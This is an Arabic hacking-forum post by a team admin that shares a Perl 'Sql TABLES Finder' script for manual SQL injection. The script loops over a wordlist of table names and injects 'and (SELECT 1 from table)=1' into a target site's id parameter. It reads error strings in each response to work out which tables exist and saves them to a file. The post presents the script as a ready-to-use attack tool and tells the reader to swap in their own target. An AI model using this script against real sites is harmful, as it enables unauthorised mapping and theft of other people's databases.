المشاركات اخر المواضيع الاكثر مشاهدة

En çok mesaj

السلام عليكم ورحمة الله وبركاته لمحبي الحقن اليدوي طريقة للتخمين على التايبلز بالتوفيق use strict; use warnings; use LWP::UserAgent; use...

احصائياتى
الردود
0
المشاهدات
360

BISOON

:: إدارة :: CyberTeaM
طاقم الإدارة

إنضم
29 مايو 2018
المشاركات
714
مستوى التفاعل
589
النقاط
93
الإقامة
Sa3eKa City
طريقة التخمين على التايبليز Sqli tables finder
السلام عليكم ورحمة الله وبركاته

لمحبي الحقن اليدوي

طريقة للتخمين على التايبلز

بالتوفيق
كود:
 use strict;
    use warnings;
    use LWP::UserAgent;
    use HTTP::Request::Common;
    
    system('cls');
print '
  ____       _____     _____ 
 / __"| u   |_ " _|   |" ___|
<\___ \/      | |    U| |_  u
 u___) |     /| |\   \|  _|/ 
 |____/>>   u |_|U    |_|     
  )(  (__)  _// \\_   )(\\,- 
 (__)      (__) (__) (__)(_/ 
';
print "\n Sql  TABLES  Finder\n";
    
    print "List Of  TABLES  -> ";
    my $tables = <STDIN>;
    chomp($tables);
    open (TABLESFILE, "<$tables") || die "[-] Can't Found ($tables) !";
    my @tables = <TABLESFILE>;
    close TABLESFILE;
    system('clear');
    system('cls');
    print "Cracking Now !...\n";

        foreach my $table (@tables) {
        chomp $table;
                my $UserAgent = LWP::UserAgent->new;
                my $sql = "https://www.site.com/path/-id and (SELECT 1 from $table )=1"; #change to your targer
                my $request = HTTP::Request->new(GET => $sql);
                my $reponse = $UserAgent->request($request);
                #print $sql;
                if ($reponse->content =~m/SQL/) { #change to your specific string
                    print "Table doesn't exist => ($table)\n";
                }
                else{
                    print " Table exist => ($table)\n";
                    open(LNT,">>tables_exists.txt");
                    print LNT "$table\n";
                    close(LNT);}
    }
 
أعلى